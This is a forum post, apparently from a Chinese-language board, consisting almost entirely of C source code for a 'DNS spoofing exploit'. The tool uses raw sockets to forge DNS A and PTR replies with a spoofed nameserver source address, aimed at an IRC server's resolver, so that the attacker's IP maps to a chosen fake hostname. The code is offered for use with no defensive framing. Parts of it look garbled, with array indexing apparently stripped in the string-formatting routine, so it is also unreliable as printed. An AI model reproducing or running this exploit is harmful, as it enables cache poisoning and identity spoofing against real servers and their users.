DNS spoofing exploit


Recommended Posts

#include <stdio.h>

#include <unistd.h>

#include <stdarg.h>

#include <stdlib.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netdb.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <string.h>

#include <errno.h>

#include <time.h>

#ifndef u8

#define u8 unsigned char

#endif

#ifndef u16

#define u16 unsigned short

#endif

#ifndef u32

#define u32 unsigned long

#endif

struct dns_header {

u16 id;

u16 flags;

u16 questions;

u16 answer_rr;

u16 auth_rr;

u16 extra_rr;

} __attribute__((packed));

struct dns_data {

u16 name;

u16 type;

u16 class;

u16 ttlh;

u16 ttl;

u16 data_len;

char *data;

} __attribute__((packed));

struct dns_packet {

size_t len;

u8 type;

char *data;

};

struct dns_query {

size_t len;

char *data;

};

struct ip_header {

u8 ihl:4,

version:4;

u8 tos;

u16 tot_len;

u16 id;

u16 frag_off;

u8 ttl;

u8 protocol;

u16 check;

u32 saddr;

u32 daddr;

};

struct udp_header {

u16 source;

u16 dest;

u16 len;

u16 check;

};

#define DNS_A 0x0001

#define DNS_PTR 0x000c

struct udp_packet {

struct ip_header iph;

struct udp_header udph;

};

void usage() {

fprintf(stderr, "usage: ./exploit <ircd ip> <ircd dns port> <ircd dns ip> "

"<your ip> <spoof host> <dns id>\n");

exit(-1);

}

void fatal(char *reason) {

fprintf(stderr, "fatal: %s\n", reason);

exit(-1);

}

unsigned short csum(unsigned short *addr, int len) {

register int sum = 0;

u_short answer = 0;

register u_short *w = addr;

register int nleft = len;

while (nleft > 1) {

sum += *w++;

nleft -= 2;

}

if (nleft == 1) {

*(u_char *)(&answer) = *(u_char *)w ;

sum += answer;

}

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

answer = ~sum;

return(answer);

}

struct udp_packet *alloc_packet(size_t datalen) {

struct udp_packet *packet;

struct ip_header *iph;

struct udp_header *udph;

if(!(packet = calloc(1, sizeof(struct udp_packet) + datalen)))

fatal("error: allocating udp packet");

iph = &packet->iph;

udph = &packet->udph;

iph->ihl = 5;

iph->version = 4;

iph->tos = 0;

iph->tot_len = sizeof(struct udp_packet) + datalen;

iph->id = htonl(0xbeef);

iph->frag_off = 0;

iph->ttl = 255;

iph->protocol = 17;

udph->len = htons(sizeof(struct udp_header) + datalen);

return(packet);

}

void init_packet(long source, int sport, long dest, int port,

struct udp_packet *udp_packet,

struct dns_packet *dns_packet) {

struct ip_header *iph;

struct udp_header *udph;

char *data;

iph = &udp_packet->iph;

udph = &udp_packet->udph;

iph->saddr = source;

iph->daddr = dest;

iph->check = csum((unsigned short *)iph, sizeof(struct ip_header));

udph->check = 0;

udph->source = htons(sport);

udph->dest = htons(port);

data = (char *)udp_packet + sizeof(struct udp_packet);

memcpy(data, &dns_packet->data, dns_packet->len);

}

char *dns_string_format(char *out, char *in) {

int i, x;

for(i = strlen(in) - 1, x = 0; i > -1; i--, x++) {

if(in == '.') {

out = x;

x = -1;

} else

out = in;

}

out = x;

return(out);

}

struct dns_packet *alloc_dns_packet(char *query_data, size_t qlen,

char *answer_data, int type) {

struct dns_packet *dns_packet;

struct dns_header *dns_header;

struct dns_data *dns_data;

char *query,

*answer;

size_t totlen,

alen;

if(type == DNS_A)

alen = 4;

else

alen = strlen(answer_data);

totlen = sizeof(struct dns_header) +

qlen +

sizeof(struct dns_data) - sizeof(char *) + alen +

((type == DNS_A) ? 0 : 2);

if((dns_packet = calloc(1, totlen + sizeof(size_t) + 1 +

sizeof(char *))) == NULL)

fatal("failed alloc");

dns_packet->len = totlen;

dns_header = (struct dns_header *) &dns_packet->data;

query = (char *) &dns_packet->data +

sizeof(struct dns_header);

dns_data = (struct dns_data *) (query + qlen);

answer = (char *) &dns_data->data +

((type == DNS_A) ? 0 : 1);

dns_header->flags = htons(0x8180);

dns_header->questions = htons(1);

dns_header->answer_rr = htons(1);

dns_header->auth_rr = htons(0);

dns_header->extra_rr = htons(0);

memcpy(query, query_data, qlen);

dns_data->name = htons(0xc00c);

dns_data->type = htons(type);

dns_data->class = htons(1);

dns_data->ttl = htons(300);

dns_data->data_len = htons(alen + ((type == DNS_A) ? 0 : 1));

if(type == DNS_A)

memcpy(answer, &answer_data, 4);

else

dns_string_format(answer, answer_data);

return(dns_packet);

}

struct dns_query *alloc_dns_query(char *query, int qtype) {

struct dns_query *dns_query;

size_t qlen;

int i, x = 0;

char *p;

char *data;

u16 *type,

*class;

qlen = 1 + strlen(query) + 1 + 2 + 2;

if((dns_query = (struct dns_query *)calloc(1, sizeof(size_t) + qlen)) == NULL)

fatal("fatal alloc\n");

dns_query->len = qlen;

data = (char *) &dns_query->data + 1;

type = (u16 *) (data + strlen(query) + 1);

class = (u16 *) type + 1;

dns_string_format(data, query);

*type = htons(qtype);

*class = htons(1);

return(dns_query);

};

int send_packet(struct in_addr src, u16 sport,

struct in_addr dst, u16 dport,

struct udp_packet *udp_packet,

struct dns_packet *dns_packet, u32 dns_id) {

struct sockaddr_in sin;

struct dns_header *dns_header;

int s, olen;

unsigned char *p;

int i;

dns_header = (struct dns_header *) &dns_packet->data;

dns_header->id = htons(dns_id);

init_packet(src.s_addr, sport, dst.s_addr, dport, udp_packet, dns_packet);

sin.sin_family = AF_INET;

sin.sin_addr = dst;

sin.sin_port = htons(sport);

if((s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) < 0) {

fprintf(stderr, "%s: ERROR send_packet() -> socket()\n", inet_ntoa(dst));

return(s);

}

if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &olen, sizeof(olen)) < 0)

fprintf(stderr, "ERROR: could not set socket option IP_HDRINCL.\n");

while(sendto(s, udp_packet, sizeof(struct udp_packet) + dns_packet->len, 0,

(struct sockaddr *)&sin, sizeof(sin)) < 0) {

if(errno == ENOBUFS)

usleep(50);

else {

fprintf(stderr, "%s: send_packet() -> sendto() [%d]\n", inet_ntoa(dst), errno);

close(s);

return(-1);

}

}

close(s);

}

void do_spoof(struct in_addr src, u16 sport,

struct in_addr dst, u16 dport,

struct in_addr me, char *answer, u16 dns_id) {

struct udp_packet *udp_packet_A,

*udp_packet_PTR;

struct dns_packet *dns_packet_A,

*dns_packet_PTR;

struct dns_query *dns_query_A,

*dns_query_PTR;

char query[255];

int i;

printf("dns_id = %d\n", dns_id);

snprintf(query, sizeof(query) - 1,

"%d.%d.%d.%d.in-addr.arpa",

(me.s_addr >> 24),

(me.s_addr >> 16) & 0xff,

(me.s_addr >> 8) & 0xff,

(me.s_addr ) & 0xff);

dns_query_A = alloc_dns_query(answer, DNS_A);

dns_packet_A = alloc_dns_packet((char *)&dns_query_A->data,

dns_query_A->len,

(char *)me.s_addr, DNS_A);

udp_packet_A = alloc_packet(dns_packet_A->len);

dns_query_PTR = alloc_dns_query(query, DNS_PTR);

dns_packet_PTR = alloc_dns_packet((char *)&dns_query_PTR->data,

dns_query_PTR->len, answer, DNS_PTR);

udp_packet_PTR = alloc_packet(dns_packet_PTR->len);

for(i = 0; ; i++) {

send_packet(src, sport, dst, dport, udp_packet_A, dns_packet_A, dns_id + i);

send_packet(src, sport, dst, dport, udp_packet_PTR, dns_packet_PTR, dns_id + i);

usleep(50);

if(i > 3)

i = 0;

}

}

long resolve(char *host) {

struct in_addr ip;

struct hostent *he;

if((ip.s_addr = inet_addr(host)) == -1) {

if(!(he = gethostbyname(host)))

return(-1);

else

memcpy(&ip.s_addr, he->h_addr, 4);

}

return(ip.s_addr);

}

int main(int argc, char *argv[]) {

int i, dns_port, dns_id;

struct in_addr ircd,

ircd_ns,

me;

char *spoof_host;

if(argc < 6)

usage();

if((ircd.s_addr = resolve(argv[1])) == -1)

fatal("ircd host invalid");

dns_port = atoi(argv[2]);

if((ircd_ns.s_addr = resolve(argv[3])) == -1)

fatal("ircd dns host invalid");

if((me.s_addr = resolve(argv[4])) == -1)

fatal("my host invalid");

spoof_host = argv[5];

dns_id = atoi(argv[6]);

do_spoof(ircd_ns, 53, ircd, dns_port, me, spoof_host, dns_id);

}

鏈接文章
分享到其他網站

請登入後來留意見

在登入之後,您才能留意見



立即登入